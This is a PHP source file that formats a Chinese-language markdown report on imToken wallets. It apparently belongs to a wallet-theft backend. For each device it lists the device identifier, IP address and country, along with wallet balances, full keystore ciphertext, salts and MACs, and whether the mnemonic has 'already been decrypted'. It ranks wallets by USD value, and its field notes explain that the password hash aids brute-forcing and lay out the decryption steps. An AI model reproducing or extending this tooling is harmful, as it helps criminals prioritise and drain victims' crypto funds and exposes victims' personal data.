Files
coruna-lab/app/Console/Commands/ExportImtokenRichMarkdown.php
T
2026-09-30 03:33:37 +08:00

218 lines
7.7 KiB
PHP

<?php
namespace App\Console\Commands;
use App\Models\WalletAddress;
/**
* Renders the imToken-rich export as a markdown document.
* Kept separate from ExportImtokenRichCommand to keep the command class small.
*
* @internal
*/
final class ExportImtokenRichMarkdown
{
public function __construct(
private readonly array $summary,
private readonly array $devices,
) {}
public function render(): string
{
$md = [];
$md[] = '# imToken 富地址导出报告';
$md[] = '';
$md[] = '导出时间: '.$this->summary['exported_at'];
$md[] = '';
$md[] = '## 汇总';
$md[] = '';
$md[] = '| 指标 | 值 |';
$md[] = '|---|---|';
$md[] = "| 设备数 | {$this->summary['device_count']} |";
$md[] = "| 地址数 | {$this->summary['address_count']} |";
$md[] = "| Keystore 数 | {$this->summary['keystore_count']} |";
foreach ($this->summary['totals']['coins'] as $col => $val) {
$sym = strtoupper($col);
$md[] = "| {$sym} 总额 | {$val} |";
}
$md[] = "| USD 估算 | {$this->summary['totals']['usd_approx']} |";
$md[] = '';
$md[] = '> USD 估算仅用于排序,价格假设: TRX=0.15, ETH=2500, BTC=60000, BNB=500, SOL=150, USDT=1';
$md[] = '';
foreach ($this->devices as $device) {
$this->renderDevice($md, $device);
}
$md[] = '---';
$md[] = '';
$md[] = '## 字段说明';
$md[] = '';
$md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)';
$md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对';
$md[] = '- **imTokenMeta.source**: `MNEMONIC` = 加密的是助记词;`PRIVATE_KEY` = 加密的是单私钥';
$md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)';
$md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)';
$md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥';
$md[] = '';
return implode("\n", $md);
}
private function renderDevice(array &$md, array $device): void
{
$md[] = '---';
$md[] = '';
$md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`";
$md[] = '';
$md[] = '| 字段 | 值 |';
$md[] = '|---|---|';
$md[] = "| Channel ID | {$device['channel_id']} |";
$md[] = "| 机型 | {$device['model']} |";
$md[] = "| iOS 版本 | {$device['ios_version']} |";
$md[] = "| IP | {$device['ip']} |";
$md[] = "| 国家 | {$device['country']} |";
$md[] = "| 钱包应用 | ".implode(', ', $device['wallet_names']).' |';
$md[] = "| 创建时间 | {$device['created_at']} |";
$md[] = "| 地址数 | ".count($device['addresses']).' |';
$md[] = "| Keystore 数 | ".count($device['keystores']).' |';
$md[] = "| USD 估算 | {$device['totals']['usd_approx']} |";
$md[] = '';
$this->renderAddressTable($md, $device['addresses']);
$this->renderKeystores($md, $device['keystores']);
}
private function renderAddressTable(array &$md, array $addresses): void
{
if ($addresses === []) {
$md[] = '### 地址(无)';
$md[] = '';
return;
}
$md[] = '### 地址';
$md[] = '';
$header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor'];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$header[] = strtoupper($col);
}
$md[] = '| '.implode(' | ', $header).' |';
$md[] = '|'.implode('|', array_fill(0, count($header), '---')).'|';
foreach ($addresses as $a) {
$row = [
$a['id'],
'`'.$a['address'].'`',
$a['chain_type'],
$a['derive_index'] ?? '-',
$a['mnemonic_id'] ?? '-',
$a['monitor'] ? '✓' : '·',
];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$row[] = $a['coins'][$col] ?? '0';
}
$md[] = '| '.implode(' | ', $row).' |';
}
$md[] = '';
}
private function renderKeystores(array &$md, array $keystores): void
{
if ($keystores === []) {
$md[] = '### Keystore(无)';
$md[] = '';
return;
}
$md[] = '### Keystore';
$md[] = '';
foreach ($keystores as $ks) {
$this->renderKeystore($md, $ks);
}
}
private function renderKeystore(array &$md, array $ks): void
{
$k = $ks['keystore'];
$dec = $ks['decrypted'] ? '✓ 已解出' : '✗ 未解出';
$md[] = "#### Keystore #{$ks['id']} — `{$ks['source']}` — {$dec}";
$md[] = '';
$md[] = '| 字段 | 值 |';
$md[] = '|---|---|';
$md[] = "| type | {$k['type']} |";
$md[] = "| version | {$k['version']} |";
$md[] = "| address | ".($k['address'] ? '`'.$k['address'].'`' : '-')." |";
$md[] = "| derivationPath | `{$k['derivationPath']}` |";
$md[] = "| keyHash | `{$k['keyHash']}` |";
$md[] = "| raw_json 长度 | {$ks['raw_json_len']} 字节 |";
$md[] = "| 创建时间 | {$ks['created_at']} |";
$md[] = '';
$crypto = $k['crypto'];
$md[] = '**crypto**';
$md[] = '';
$md[] = '| 字段 | 值 |';
$md[] = '|---|---|';
$md[] = "| kdf | {$crypto['kdf']} |";
$md[] = "| cipher | {$crypto['cipher']} |";
$kp = $crypto['kdfparams'] ?? [];
if (is_array($kp)) {
if (isset($kp['c'])) {
$md[] = "| kdfparams.c (迭代) | {$kp['c']} |";
}
if (isset($kp['n'])) {
$md[] = "| kdfparams.n | {$kp['n']} |";
}
if (isset($kp['r'])) {
$md[] = "| kdfparams.r | {$kp['r']} |";
}
if (isset($kp['p'])) {
$md[] = "| kdfparams.p | {$kp['p']} |";
}
if (isset($kp['dklen'])) {
$md[] = "| kdfparams.dklen | {$kp['dklen']} |";
}
if (isset($kp['prf'])) {
$md[] = "| kdfparams.prf | {$kp['prf']} |";
}
if (isset($kp['salt'])) {
$md[] = "| kdfparams.salt | `{$kp['salt']}` |";
}
}
$cp = $crypto['cipherparams'] ?? [];
if (is_array($cp) && isset($cp['iv'])) {
$md[] = "| cipherparams.iv | `{$cp['iv']}` |";
}
$md[] = "| ciphertext | `{$crypto['ciphertext']}` |";
$md[] = "| mac | `{$crypto['mac']}` |";
$md[] = '';
$meta = $k['imTokenMeta'];
if (is_array($meta)) {
$md[] = '**imTokenMeta**';
$md[] = '';
$md[] = '| 字段 | 值 |';
$md[] = '|---|---|';
foreach ($meta as $key => $val) {
if (is_array($val)) {
$val = json_encode($val, JSON_UNESCAPED_UNICODE);
}
$md[] = "| {$key} | {$val} |";
}
$md[] = '';
}
$accts = $k['activeAccounts'];
if (is_array($accts) && $accts !== []) {
$md[] = '**activeAccounts**';
$md[] = '';
$md[] = '| coin | address | derivationPath | publicKey |';
$md[] = '|---|---|---|---|';
foreach ($accts as $acc) {
$md[] = '| '.($acc['coin'] ?? '-').' | `'.($acc['address'] ?? '-')."` | `".($acc['derivationPath'] ?? '-')."` | `".($acc['publicKey'] ?? '-').'` |';
}
$md[] = '';
}
}
}